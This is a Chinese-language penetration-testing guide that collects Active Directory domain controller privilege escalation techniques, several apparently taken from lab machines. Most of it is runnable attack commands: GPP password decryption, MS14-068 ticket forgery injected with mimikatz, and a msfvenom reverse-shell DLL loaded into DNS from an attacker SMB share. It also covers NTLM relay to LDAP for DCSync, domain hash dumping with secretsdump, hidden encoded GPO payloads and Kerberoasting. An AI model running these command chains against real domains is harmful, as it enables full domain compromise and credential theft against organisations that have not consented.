域控提权技术合集
0x01 前言
本文整理了多种针对Active Directory域控制器的提权技术,包括GPP漏洞、MS14-068、DNSAdmins提权、不安全的GPO/ACLs权限、Exchange提权、LLMNR/NBT-NS投毒、Kerberoasting和AD回收站利用等技术。
0x02 GPP和SYSVOL中的密码
原理
GPP(Group Policy Preferences)用于管理域内主机的本地管理员密码。配置后会在域控制器上创建包含密码的XML文件,存储在SYSVOL共享目录中。虽然密码使用AES加密,但微软公开了加密密钥。
利用步骤
-
定位域控制器:
set l nltest /DSGETDC: echo %logonserver% net time /domain -
查询DC共享目录:
smbmap -H 10.10.10.100 -
连接域共享并查找Groups.xml:
smbclient //active.local/Replication -N more Groups.xml -
解密密码:
python gpprefdecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
0x03 MS14-068 (KB3011780)
原理
KDC在验证PAC时允许任意签名算法,攻击者可伪造包含管理员权限的PAC,获取高权限TGT票证。
利用条件
- 域控未打KB3011780补丁
- 拥有域内普通用户及其SID
利用步骤
-
检测漏洞:
./FindSMB2UPTime.py 192.168.31.220 -
获取用户SID:
whoami /all -
生成高权限TGT:
ms14-068.py -u james@HTB.LOCAL -s S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis -
注入票证:
mimikatz.exe "kerberos::ptc TGT_james@HTB.LOCAL.ccache" -
使用高权限访问:
psexec \\htb.local cmd.exe
0x04 DNSAdmins提权
原理
DNS服务在域控上运行,DNSAdmins组成员可加载恶意DLL实现提权。
利用步骤
-
制作恶意DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.67 LPORT=4444 --platform=windows -f dll > plugin.dll -
开启SMB共享:
sudo impacket-smbserver tw . -
注入DLL:
dnscmd.exe 10.10.10.169 /config /serverlevelplugindll \\10.10.14.67\tw\plugin.dll -
重启DNS服务触发:
sc.exe \\10.10.10.169 stop dns sc.exe \\10.10.10.169 start dns
0x05 不安全的GPO权限
利用步骤
使用PowerView创建即时任务:
New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-NoP -NonI -W Hidden -Enc payload -Force'
0x06 不安全的ACLs权限
原理
对域对象有WriteDacl权限可执行DCSync攻击。
0x07 Exchange提权
原理
Exchange Windows Permissions组具有WriteDacl权限,可中继到LDAP授予DCSync权限。
利用步骤
-
添加用户到Exchange组:
net group "Exchange Windows Permissions" svc-alfresco /add -
执行NTLM中继:
sudo python ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user tw -
触发中继:
python privexchange.py -ah 10.10.16.21 10.10.10.161 -u tw -p password -d htb.local -
导出域控hash:
impacket-secretsdump htb.local/tw:password@10.10.10.161 -just-dc
0x08 LLMNR/NBT-NS投毒
原理
当DNS解析失败时,系统会使用LLMNR/NBNS广播查询,攻击者可响应并获取Net-NTLM哈希。
工具
Responder或Metasploit模块。
0x09 Kerberoasting
原理
请求SPN服务的TGS票证,使用RC4_HMAC_MD5加密(基于NTLM hash),可离线破解。
利用步骤
-
查找SPN:
setspn.exe -T test -q */* -
请求服务票证:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/jefflab-sql02.jefflab.local:1433 -
导出并破解票证:
mimikatz "kerberos::list /export" python tgsrecrack.py -w wordlist.txt ticket.kirbi
0x10 AD回收站利用
前提
域内已启用回收站功能,用户在AD Recycle Bin组中。
利用步骤
-
查看删除对象:
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -
还原对象:
Restore-ADObject -Identity 'f0cc344d-31e0-4866-bceb-a842791ca059' -
查询旧密码:
Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *
0x11 总结
本文涵盖了多种域控提权技术,从GPP漏洞到Kerberoasting,每种技术都有其特定的利用场景和条件。在实际渗透测试中,应根据目标环境选择合适的技术组合。